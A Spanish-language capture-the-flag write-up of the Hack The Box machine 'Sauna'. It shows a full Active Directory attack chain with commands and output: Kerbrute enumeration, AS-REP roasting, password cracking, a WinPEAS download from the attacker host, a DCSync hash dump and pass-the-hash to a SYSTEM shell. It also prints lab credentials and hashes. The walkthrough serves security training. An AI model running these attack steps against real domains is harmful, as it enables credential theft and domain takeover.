Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Enumeración de puertos/servicios
  • Inspección del sitio Web
  • ASREPRoasting attack
  • TGT Cracking
  • System Enumeration con WinPeas.exe
  • DCSync-Attack
  • Primeros pasos en BloodHound
  • Autenticación con Pass-the-Hash

Sauna

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

La máquina Sauna es un entorno de laboratorio diseñado para evaluar habilidades básicas en sistemas Windows y entornos de Active Directory (AD). El objetivo principal es comprometer una infraestructura corporativa simulada que incluye un controlador de dominio, utilizando vectores clásicos de ataque. El proceso comienza con una fase de enumeración, donde se identifican servicios activos como LDAP, SMB, y HTTP. A partir del contenido del sitio web, se extraen nombres completos de empleados, lo que permite construir posibles combinaciones de nombres de usuario. Con estos, se lleva a cabo un ataque ASREPRoasting, técnica que explota cuentas con Kerberos sin preautenticación, permitiendo la recolección de hashes que pueden ser forzados fuera de línea.

Una vez obtenidas las credenciales de acceso inicial, se establece una sesión remota mediante WinRM. Desde esta posición, se profundiza la post-explotación mediante herramientas de enumeración como WinPEAS, que revela la presencia de otra cuenta con inicio automático y credenciales expuestas en el sistema. Esta nueva cuenta, al igual que la anterior, cuenta con acceso remoto, pero además posee privilegios ampliados en el dominio. Utilizando BloodHound, se visualizan las relaciones y permisos dentro del AD, detectando que esta cuenta tiene derechos de replicación de cambios (DS-Replication-Get-Changes-All), lo que abre la posibilidad de ejecutar un ataque DCSync.

El ataque DCSync se lleva a cabo usando secretsdump.py, lo que permite extraer los hashes del administrador del dominio sin necesidad de acceder directamente al controlador. Con el hash del administrador, se implementa un ataque Pass-The-Hash mediante psexec.py, logrando así una shell con privilegios de NT AUTHORITY\SYSTEM.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.175
📌 Parámetros
  • sCV:

    • -sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n → No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-11 02:58:19Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-11T02:58:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h51m03s

En síntesis:

PORT     | STATE | SERVICE       | VERSION
53/tcp   | open  | domain        | Simple DNS Plus
80/tcp   | open  | http          | Microsoft IIS httpd 10.0
88/tcp   | open  | kerberos-sec  | Microsoft Windows Kerberos
135/tcp  | open  | msrpc         | Microsoft Windows RPC
139/tcp  | open  | netbios-ssn   | Microsoft Windows netbios-ssn
389/tcp  | open  | ldap          | Microsoft Windows Active Directory LDAP
445/tcp  | open  | microsoft-ds  | Unknown
464/tcp  | open  | kpasswd5      | Unknown
593/tcp  | open  | ncacn_http    | Microsoft Windows RPC over HTTP 1.0
636/tcp  | open  | tcpwrapped    | Unknown
3268/tcp | open  | ldap          | Microsoft Windows Active Directory LDAP
3269/tcp | open  | tcpwrapped    | Unknown
5985/tcp | open  | http          | Microsoft HTTPAPI httpd 2.0

Primero vamos a extraer el nombre de dominio para agregarlo al /etc/hosts

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# nxc smb 10.10.10.175                                                               
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# echo "10.10.10.175    EGOTISTICAL-BANK.LOCAL" >> /etc/hosts

Inspección del sitio Web

Si recorremos la página web nos vamos a encontrar con algunos nombres de usuarios que podemos aprovechar para hacer un diccionario e intentar un ataque con Kerbrute para hallar algún nombre válido en el dominio.

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# cat users.txt           
Steven Kerb
Hugo Bear
Bowie Taylor
Sophie Driver
Shaun Coins
Fergus Smith
                                                                                             
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# node ./generator.js -f ./users.txt --output ./usernames.txt
[*] Wordlist saved in ./usernames.txt

Provided Wordlist lines: 6
Output Wordlist lines: 159

Cuando un usuario no existe, el KDC responde con un error específico del protocolo (KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN), indicando que el principal es desconocido. En cambio, si el usuario sí existe pero requiere pre autenticación, el KDC devuelve un error distinto (KRB5KDC_ERR_PREAUTH_REQUIRED). Esta distinción permite a Kerbrute identificar cuáles entradas en la lista corresponden a usuarios válidos en el dominio. Adicionalmente, si una cuenta está configurada sin la exigencia de pre autenticación —es decir, tiene deshabilitada la opción DONT_REQ_PREAUTH—, el KDC responderá directamente con un ticket cifrado que puede ser utilizado para llevar a cabo un ataque de tipo ASREPRoasting, donde el atacante puede intentar romper el hash del ticket fuera de línea.

📌¿Qué es el KDC y el TGT?

KDC (Key Distribution Center) es un componente fundamental del protocolo Kerberos, utilizado ampliamente en entornos Windows con Active Directory. Su función principal es emitir y gestionar tickets de autenticación para los usuarios y servicios del dominio. El KDC está compuesto por dos servicios:

  • AS (Authentication Service): Se encarga de autenticar inicialmente al usuario.

  • TGS (Ticket Granting Service): Entrega tickets de acceso a servicios dentro del dominio.

Cuando un usuario desea autenticarse, contacta primero con el AS, que valida su identidad y, si todo es correcto, le entrega un TGT (Ticket Granting Ticket). Este TGT está cifrado con la clave secreta del servicio krbtgt (cuenta especial en Active Directory) y sirve como "pasaporte" del usuario dentro del dominio. El usuario usará luego ese TGT para pedir tickets de servicio específicos al TGS.

¿Qué relación tiene esto con el ataque ASREPRoasting?

Normalmente, el KDC requiere pre autenticación: el usuario debe enviar un timestamp cifrado con su clave derivada de la contraseña. Si es válido, el KDC devuelve el AS_REP con el TGT. Sin embargo, si una cuenta tiene deshabilitada la preautenticación (es decir, tiene la bandera DONT_REQ_PREAUTH activada), cualquiera puede solicitarle un TGT sin conocer su contraseña.

El KDC entonces responde con un AS_REP que incluye un bloque cifrado con la clave derivada de la contraseña del usuario, y ese bloque es precisamente el que se extrae y se ataca mediante fuerza bruta. Esto es el núcleo del ataque ASREPRoasting: obtener ese paquete sin necesidad de interacción directa ni credenciales válidas.

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# kerbrute userenum --dc 10.10.10.175 --domain EGOTISTICAL-BANK.LOCAL usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/10/25 - Ronnie Flathers @ropnop

2025/05/10 22:45:55 >  Using KDC(s):
2025/05/10 22:45:55 >   10.10.10.175:88

2025/05/10 22:45:58 >  [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:96ea6c54797815d4695046b5e7116bb4$756c02c1d3d8d772a28502f4f11ded2e01a91a4d1042944
29247fd4f960d8c696287ab66cf30bebd410658144a3d5a853d1ee8ec4aecdb2e2115bec04b725617e80aa8739cfa3b96a68bf16c7561f448a85e31289cb
5582d170058808b3c7b670dab56e7a5b4c281ba96f1bea62b0083a7d179d2a7d42b85fa32f87cb7107447577faa498ce52c2b370a4ab9597bc1b3b045cbc
50f71b9b91d256b3eab71d9470bf53062e7e5950617b1221d4c900ebe698f3dcddeffa0234bc80e600134b621dbc71c31d3b6fc148dac16aa174d074d9ac
0772dd936a46cc2ee06f58c3b27fbd1105c64f077a721b4a50be22d379f843bf01ac7601465e821abd99f3a9105ade5fbfebff7072b39879bd394c39b36b
fc7e955a50682
2025/05/10 22:45:58 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2025/05/10 22:45:59 >  Done! Tested 161 usernames (1 valid) in 3.988 seconds

ASREPRoasting attack

Este proceso de obtención del AS-REP cifrado y su posterior intento de descifrado con diccionarios se conoce coloquialmente como TGT Cracking. A pesar del nombre, el objetivo no es romper el TGT en sí, que está cifrado con la clave del servicio krbtgt, sino descifrar el bloque cifrado con la clave derivada de la contraseña del usuario objetivo. Esto permite descubrir contraseñas débiles sin interacción adicional con el sistema remoto, lo que representa un vector silencioso y eficaz dentro de una infraestructura de Active Directory mal configurada.

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175 -no-pass -format john -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for fsmith
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and 
scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(d
atetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL:abef1afcb4c80fa252d3599016b8a0df$3e65c5d43fc4e7576e463b53606eef511bfab1d5a9242da83d2
34915df47c5c8fc4ed9f11dcc1a73b0e56566595306d72c67fc1ecc2933095bcdb20b6537774b3e6e3077379479b6fb6664ba07bde7161cc9cd34580857e6
39d0e3ac7d76fc9e4b62cd6ed554c19114dc0a1eca33e7b794387558982f99333a5bd0246016b63e24b8c1c828e45901403ec513e5a23211db491bfe9a922
d74dcc1c1737f31abafdcfea4ab9c61ffa07963b38ae83d25255d35e3d8920ad1748434769767ada6adca288d6ebcd1287c1c057385a38eed15acf6329862
39a49d73485567613a40b2c00ede3aa370b68f405a945e1d27503311b1d905826422fcc3853d2b480925b9
📌Parámetros
  • EGOTISTICAL-BANK.LOCAL/fsmith: dominio y nombre de usuario objetivo.

  • -dc-ip 10.10.10.175: IP del Domain Controller (donde está corriendo el KDC).

  • -no-pass: indica que no se usará contraseña para autenticarse (clave en este ataque, ya que la cuenta no requiere preautenticación).

  • -format john: genera el hash en formato compatible con John the Ripper (para romperlo offline).

  • -outputfile hashes.txt: guarda los hashes extraídos en ese archivo.

TGT Cracking

Llegó el momento de descifrar la contraseña con John the Ripper

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes.txt        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:13 DONE (2025-05-10 23:01) 0.07518g/s 792406p/s 792406c/s 792406C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Bingo! ( ͡• ͜ʖ ͡•)

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh EGOTISTICAL-BANK.LOCAL fsmith 'Thestrokes23'
[*] Probando credenciales contra EGOTISTICAL-BANK.LOCAL con usuario 'fsmith'...

--- Probando smb ---
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

--- Probando ldap ---
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

--- Probando winrm ---
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.175    135    SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
RPC         10.10.10.175    135    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

--- Probando ftp ---

--- Probando ssh ---

System Enumeration con WinPeas.exe

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# ls            
AD-Username-Generator  kerbrute  winPEASx64.exe
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# python3 -m http.server 80                                                          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.175 - - [11/May/2025 00:10:31] "GET /winPEASx64.exe HTTP/1.1" 200 -
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# evil-winrm -i EGOTISTICAL-BANK.LOCAL -u fsmith -p Thestrokes23               
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..
*Evil-WinRM* PS C:\Users\FSmith> cd Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> Invoke-WebRequest -Uri http://10.10.14.20:80/winPEASx64.exe -OutFile winPEASx64.exe
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/10/2025   7:55 PM             34 user.txt
-a----        5/11/2025   4:01 AM       10144256 winPEASx64.exe


*Evil-WinRM* PS C:\Users\FSmith\Desktop> ./winPEASx64.exe

Display information about local users
   Computer Name           :   SAUNA
   User Name               :   Administrator
   User Id                 :   500
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :   Built-in account for administering the computer/domain
   Last Logon              :   5/10/2025 7:55:07 PM
   Logons Count            :   120
   Password Last Set       :   7/26/2021 9:16:16 AM

   =================================================================================================                                                                                      

   Computer Name           :   SAUNA
   User Name               :   Guest
   User Id                 :   501
   Is Enabled              :   False
   User Type               :   Guest
   Comment                 :   Built-in account for guest access to the computer/domain
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   1/1/1970 12:00:00 AM

   =================================================================================================                                                                                      

   Computer Name           :   SAUNA
   User Name               :   krbtgt
   User Id                 :   502
   Is Enabled              :   False
   User Type               :   User
   Comment                 :   Key Distribution Center Service Account
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   1/22/2020 10:45:30 PM

   =================================================================================================                                                                                      

   Computer Name           :   SAUNA
   User Name               :   HSmith
   User Id                 :   1103
   Is Enabled              :   True
   User Type               :   User
   Comment                 :
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   1/22/2020 10:54:34 PM

   =================================================================================================                                                                                      

   Computer Name           :   SAUNA
   User Name               :   FSmith
   User Id                 :   1105
   Is Enabled              :   True
   User Type               :   User
   Comment                 :
   Last Logon              :   5/11/2025 2:47:28 AM
   Logons Count            :   11
   Password Last Set       :   1/23/2020 9:45:19 AM

   =================================================================================================                                                                                      

   Computer Name           :   SAUNA
   User Name               :   svc_loanmgr
   User Id                 :   1108
   Is Enabled              :   True
   User Type               :   User
   Comment                 :
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   1/24/2020 4:48:31 PM

   ================================================================================================= 

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

DCSync-Attack

Con estas nuevas credenciales vamos a invocar a nuestro amigo Bloodhound para poder ver los privilegios que tiene el usuario svc_loanmgr en el dominio y encontrar un camino para la escalada de privilegios. Si no conoces esta herramienta a continuación te dejo un artículo introductorio para que puedas comprender su uso

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -v --zip -c All -dc EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: session, psremote, localadmin, container, acl, trusts, dcom, objectprops, rdp, group
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: EGOTISTICAL-BANK.LOCAL
INFO: Found AD domain: egotistical-bank.local
DEBUG: Found primary DC: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Found Global Catalog server: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Found KDC for enumeration domain: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Using supplied domain controller as KDC
INFO: Getting TGT for user
DEBUG: Trying to connect to KDC at EGOTISTICAL-BANK.LOCAL:88
DEBUG: Trying to connect to KDC at EGOTISTICAL-BANK.LOCAL:88
[.............]
DEBUG: Resolved SID to name: FSMITH@EGOTISTICAL-BANK.LOCAL
DEBUG: Resolved SID to name: SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL
DEBUG: Write worker obtained a None value, exiting
DEBUG: Write worker is done, closing files
INFO: Done in 00M 47S
INFO: Compressing output into 20250511003630_bloodhound.zip
📌Parámetros
  • bloodhound-python: ejecuta el recolector Python para BloodHound (versión que no requiere cargar un ejecutable en la máquina objetivo).

  • -u svc_loanmgr: usuario que se usará para autenticarse en el dominio.

  • -p 'Moneymakestheworldgoround!': contraseña del usuario. Va entre comillas para manejar posibles caracteres especiales o espacios.

  • -d EGOTISTICAL-BANK.LOCAL: nombre completo del dominio de Active Directory.

  • -v: modo verbose, muestra salida detallada en la terminal mientras se realiza la recolección.

  • --zip: comprime los archivos JSON generados en un .zip, que luego podés importar directamente en la interfaz de BloodHound.

  • -c All: especifica qué tipos de datos recolectar. All significa que se ejecutarán todos los métodos disponibles: usuarios locales, ACLs, sesiones, relaciones de grupos, etc.

  • -dc EGOTISTICAL-BANK.LOCAL: FQDN (nombre completo) del Domain Controller contra el que se realizarán las consultas LDAP y Kerberos.

  • -ns 10.10.10.175: dirección IP del servidor DNS (generalmente el mismo que el Domain Controller en entornos AD). Se usa para resolver nombres del dominio si el sistema local no puede hacerlo.

Este comando recolecta toda la información relevante del dominio EGOTISTICAL-BANK.LOCAL utilizando la cuenta svc_loanmgr y genera un archivo .zip que luego puede ser cargado en BloodHound para visualizar relaciones, permisos y posibles caminos de escalamiento de privilegios.

Este archivo zip lo pasamos a la gui de bloodhound de la siguiente manera

Ahora podemos usar la opción Find Shortest Paths to Domain Admins para visualizar los nodos del DC

Luego si filtramos por Find Principals with DCSync Rights vamos a ver que nuestro usuario cuenta con privilegios DCSync en el dominio, esto nos permite deducir que podemos implementar un ataque DCSync para obtener los hashes de todas las cuentas del dominio junto con la de los administradores

El ataque DCSync permite a un atacante simular el comportamiento de un controlador de dominio legítimo. Para ello, se emiten peticiones al Domain Controller utilizando las funciones de replicación de Active Directory, como si el atacante necesitara sincronizarse con el resto del dominio. Estas peticiones acceden a la base de datos NTDS.dit, que contiene información crítica sobre los objetos del dominio, incluyendo los hashes NTLM de todas las cuentas: usuarios, administradores, y servicios. Al realizar esta solicitud desde una cuenta con los privilegios adecuados, el controlador de dominio responde con los datos de replicación, sin necesidad de comprometer el servidor físico ni ejecutar código malicioso sobre él. Nota: el nombre del privilegio que otorga la capacidad de ejecutar un ataque DCSync es GetChangesAll, lo que permite replicar la base de datos de Active Directory y extraer hashes de cualquier cuenta.

📌GetChangesAll

El permiso GetChangesAll es un privilegio extendido en Active Directory que permite a una cuenta replicar todos los atributos de los objetos del dominio, incluidos los hashes de contraseña de los usuarios.

Este permiso es uno de los tres necesarios para realizar un ataque DCSync, en el cual un atacante simula ser un controlador de dominio y solicita al Domain Controller la replicación de la base de datos del AD (NTDS.dit). Si una cuenta posee este privilegio —especialmente si se combina con GetChanges y Replicating Directory Changes—, puede extraer de forma remota los hashes de cualquier cuenta del dominio, incluidos los de administradores.

En resumen, GetChangesAll otorga control total sobre la replicación de objetos sensibles del dominio, y representa un riesgo crítico si está asignado a cuentas no administrativas o de servicio.

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:3bcc17de730179a51887a38acee513f3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:60d2f59f96b3e302e9c241094f86ed46b8662a89155063e77a8796fd6eba42df
SAUNA$:aes128-cts-hmac-sha1-96:de3133e216f372b3ec4dff4417659009
SAUNA$:des-cbc-md5:a70b4313e3752a58
[*] Cleaning up... 

Autenticación con Pass-the-Hash

┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file aggbqeox.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service KsKh on 10.10.10.175.....
[*] Starting service KsKh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b223e35*************************

C:\Windows\system32> type C:\Users\fsmith\Desktop\user.txt
4cafefb*************************

Last updated 9 days ago

Para hacer la lista voy a usar la siguiente tool . Primero paso los nombres de los usuarios a una lista y esa lista se la pasó al script para que me haga el diccionario

Una vez generada una lista de posibles nombres de usuario, una de las herramientas más eficientes para verificar su validez en un entorno Kerberos es . Esta tool nos permite realizar una enumeración activa de cuentas contra un Controlador de Dominio mediante el protocolo Kerberos, sin necesidad de conocer previamente una contraseña válida. Su funcionamiento se basa en el envío de solicitudes de Ticket Granting Ticket (TGT) al KDC (Key Distribution Center), en las cuales no se incluye ninguna credencial. Esto desencadena una respuesta diferenciada por parte del servidor, dependiendo de si el nombre de usuario existe o no en el dominio.

Una vez identificada una cuenta de usuario con la bandera DONT_REQ_PREAUTH habilitada —como es el caso de fsmith en este escenario—, es posible explotar una característica del protocolo Kerberos mediante un ataque conocido como ASREPRoasting. En este tipo de ataques, se solicita un Ticket Granting Ticket (TGT) al Key Distribution Center (KDC) sin necesidad de proporcionar una contraseña válida. El protocolo permite esta operación siempre que la cuenta en cuestión no requiera preautenticación. El KDC responde con un mensaje KRB_AS_REP, el cual contiene un TGT cifrado junto con un paquete adicional que incluye datos como la clave de sesión, la expiración del ticket y un nonce generado por el cliente. Este paquete está cifrado con una clave derivada directamente de la contraseña del usuario, y es este componente el que puede ser extraído y sometido a un ataque de fuerza bruta offline con herramientas como Hashcat o .

Para explotar esta técnica vamos a usar el script de la suite de impacket. Este comando interactúa directamente con el AS del KDC, solicitando un AS_REP para fsmith. Como fsmith no requiere preautenticación, el KDC entrega el paquete con el bloque cifrado que se puede atacar. El hash extraído representa ese bloque, y es el que luego se fuerza con Hashcat o John.

Ahora con el script vamos a ver a qué servicios podemos conectarnos con estas credenciales capturadas

Vamos a aprovechar que podemos conectarnos al servicio WinRM, usando la tool

